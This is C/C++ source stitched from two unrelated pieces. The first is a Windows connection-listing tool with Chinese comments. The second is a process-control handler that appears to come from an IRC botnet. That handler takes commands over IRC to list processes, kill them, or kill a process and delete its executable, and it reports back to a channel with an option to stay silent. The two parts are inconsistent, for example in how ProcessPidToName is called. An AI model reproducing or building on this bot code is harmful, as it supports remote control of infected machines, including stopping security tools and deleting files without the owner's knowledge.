int main()
{
// 定义扩展函数指针
PFNAllocateAndGetTcpExTableFromStack pAllocateAndGetTcpExTableFromStack;
PFNAllocateAndGetUdpExTableFromStack pAllocateAndGetUdpExTableFromStack;
// 获取扩展函数的入口地址
HMODULE hModule = ::LoadLibrary("iphlpapi.dll");
pAllocateAndGetTcpExTableFromStack =
(PFNAllocateAndGetTcpExTableFromStack)::GetProcAddress(hModule,
"AllocateAndGetTcpExTableFromStack");
pAllocateAndGetUdpExTableFromStack =
(PFNAllocateAndGetUdpExTableFromStack)::GetProcAddress(hModule,
"AllocateAndGetUdpExTableFromStack");
if(pAllocateAndGetTcpExTableFromStack == NULL || pAllocateAndGetUdpExTableFromStack == NULL)
{
printf(" Ex APIs are not present \n ");
// 说明你应该调用普通的IP帮助API去获取TCP连接表和UDP监听表
return 0;
}
// 调用扩展函数，获取TCP扩展连接表和UDP扩展监听表
PMIB_TCPEXTABLE pTcpExTable;
PMIB_UDPEXTABLE pUdpExTable;
// pTcpExTable和pUdpExTable所指的缓冲区自动由扩展函数在进程堆中申请
if(pAllocateAndGetTcpExTableFromStack(&pTcpExTable, TRUE, GetProcessHeap(), 2, 2) != 0)
{
printf(" Failed to snapshot TCP endpoints.\n");
return -1;
}
if(pAllocateAndGetUdpExTableFromStack(&pUdpExTable, TRUE, GetProcessHeap(), 2, 2) != 0)
{
printf(" Failed to snapshot UDP endpoints.\n");
return -1;
}
// 给系统内的所有进程拍一个快照
HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf(" Failed to take process snapshot. Process names will not be shown.\n\n");
return -1;
}
printf(" Active Connections \n\n");
char szLocalAddr[128];
char szRemoteAddr[128];
char szProcessName[128];
in_addr inadLocal, inadRemote;
char strState[128];
DWORD dwRemotePort = 0;
// 打印TCP扩展连接表信息
for(UINT i = 0; i < pTcpExTable->dwNumEntries; ++i)
{
// 状态
switch (pTcpExTable->table[i].dwState)
{
case MIB_TCP_STATE_CLOSED:
strcpy(strState, "CLOSED");
break;
case MIB_TCP_STATE_TIME_WAIT:
strcpy(strState, "TIME_WAIT");
break;
case MIB_TCP_STATE_LAST_ACK:
strcpy(strState, "LAST_ACK");
break;
case MIB_TCP_STATE_CLOSING:
strcpy(strState, "CLOSING");
break;
case MIB_TCP_STATE_CLOSE_WAIT:
strcpy(strState, "CLOSE_WAIT");
break;
case MIB_TCP_STATE_FIN_WAIT1:
strcpy(strState, "FIN_WAIT1");
break;
case MIB_TCP_STATE_ESTAB:
strcpy(strState, "ESTAB");
break;
case MIB_TCP_STATE_SYN_RCVD:
strcpy(strState, "SYN_RCVD");
break;
case MIB_TCP_STATE_SYN_SENT:
strcpy(strState, "SYN_SENT");
break;
case MIB_TCP_STATE_LISTEN:
strcpy(strState, "LISTEN");
break;
case MIB_TCP_STATE_DELETE_TCB:
strcpy(strState, "DELETE");
break;
default:
printf("Error: unknown state!\n");
break;
}
// 本地IP地址
inadLocal.s_addr = pTcpExTable->table[i].dwLocalAddr;
// 远程端口
if(strcmp(strState, "LISTEN") != 0)
{
dwRemotePort = pTcpExTable->table[i].dwRemotePort;
}
else
dwRemotePort = 0;
// 远程IP地址
inadRemote.s_addr = pTcpExTable->table[i].dwRemoteAddr;
sprintf(szLocalAddr, "%s:%u", inet_ntoa(inadLocal),
ntohs((unsigned short)(0x0000FFFF & pTcpExTable->table[i].dwLocalPort)));
sprintf(szRemoteAddr, "%s:%u", inet_ntoa(inadRemote),
ntohs((unsigned short)(0x0000FFFF & dwRemotePort)));
// 打印出此入口的信息
printf("%-5s %s:%d\n State: %s\n", "[TCP]",
ProcessPidToName(hProcessSnap, pTcpExTable->table[i].dwProcessId, szProcessName),
pTcpExTable->table[i].dwProcessId,
strState);
printf(" Local: %s\n Remote: %s\n",
szLocalAddr, szRemoteAddr);
}
// 打印UDP监听表信息
for(i = 0; i < pUdpExTable->dwNumEntries; ++i)
{
// 本地IP地址
inadLocal.s_addr = pUdpExTable->table[i].dwLocalAddr;
sprintf(szLocalAddr, "%s:%u", inet_ntoa(inadLocal),
ntohs((unsigned short)(0x0000FFFF & pUdpExTable->table[i].dwLocalPort)));
// 打印出此入口的信息
printf("%-5s %s:%d\n", "[UDP]",
ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, szProcessName),
pUdpExTable->table[i].dwProcessId );
printf(" Local: %s\n Remote: %s\n",
szLocalAddr, "*.*.*.*:*" );
}
::CloseHandle(hProcessSnap);
::LocalFree(pTcpExTable);
::LocalFree(pUdpExTable);
::FreeLibrary(hModule);
return 0;
}
// bdata1 = list
// bdata2 = kill
// bdata3 = del on kill
DWORD WINAPI ProcessThread(LPVOID param)
{
NTHREAD process = *((NTHREAD *)param);
NTHREAD *processt = (NTHREAD *)param;
processt->gotinfo = TRUE;
IRC* irc=(IRC*)process.conn;
char sendbuf[IRCLINE];
//char target[128];
//sprintf(target,process.hostd->target);
//char *target=process.hostd->target;
if (process.bdata1) // list
{
std::list<process_info> lProcesses;
if(ListProcesses(&lProcesses,process.data2))
{
std::list<process_info>::iterator ip; int iCount=0;
irc->privmsg(process.target,"%s Process List:",process_title);
if (process.verbose)
irc->privmsg(process.target," PID � - Mem Usage - Process");
for(ip=lProcesses.begin(); ip!=lProcesses.end(); ++ip)
{
iCount++;
char *processExe=(*ip).sProcessName;
char *mUsage=(*ip).mUsage;
unsigned long processPid=(*ip).lProcessPid;
strcat(mUsage," K");
sprintf(sendbuf," %-6d- %-10s- \"%s\"",processPid,mUsage,processExe);
irc->privmsg(process.target,sendbuf);
}
//sprintf(sendbuf,"%s Displayed process list.",process_title);
//addlog(MAINLOG,sendbuf);
irc->privmsg(process.target,"%s End of list.",process_title);
}
else
{
irc->privmsg(process.target,"%s Unable to list processes, error: <%d>.",process_title,GetLastError());
//addlog(ERRORLOG,sendbuf);
}
}
else
{
if (process.bdata2) // kill
{
char procKilled[16];
if (!process.bdata3) // delete
{
if (KillProcess(process.data1,procKilled))
{
if (!process.silent)
irc->privmsg(process.target,"%s Process \"%s\" killed, total: <%s>.",process_title,process.data1,procKilled);
}
else if (KillPid(atoi(process.data1)))
{
if (!process.silent)
irc->privmsg(process.target,"%s PID \"%i\" killed.",process_title,atoi(process.data1));
}
else
{
if (!process.silent)
irc->privmsg(process.target,"%s Failed to kill process.",process_title);
}
}
else
{
char path[MAX_PATH];
sprintf(path,"%s",ProcessPidToName(atoi(process.data1),path));
char fname[_MAX_FNAME],ext[_MAX_EXT];
_splitpath(path,0,0,fname,ext);
strcat(fname,ext);
BOOL success=FALSE;
BOOL killed=FALSE;
for (int t=0;t<5;t++)
{
if (KillPid(atoi(process.data1)))
killed=TRUE;
SetFileAttributes(path,FILE_ATTRIBUTE_NORMAL);
if (DeleteFile(path))
{
success=TRUE;
break;
}
else
{
if (killed) //if we've killed the process id and cant erase
KillProcess(fname,0);//it maybe its running more than once
Sleep(1000);
}
}
if (success)
{
if (!process.silent)
irc->privmsg(process.target,"%s PID \"%i\" killed and deleted.",process_title,atoi(process.data1));
}
else
{
if (!process.silent)
irc->privmsg(process.target,"%s Failed to kill and erase process.",process_title);
}
}
}
}
clearthread(process.threadnum);
return 0;
}
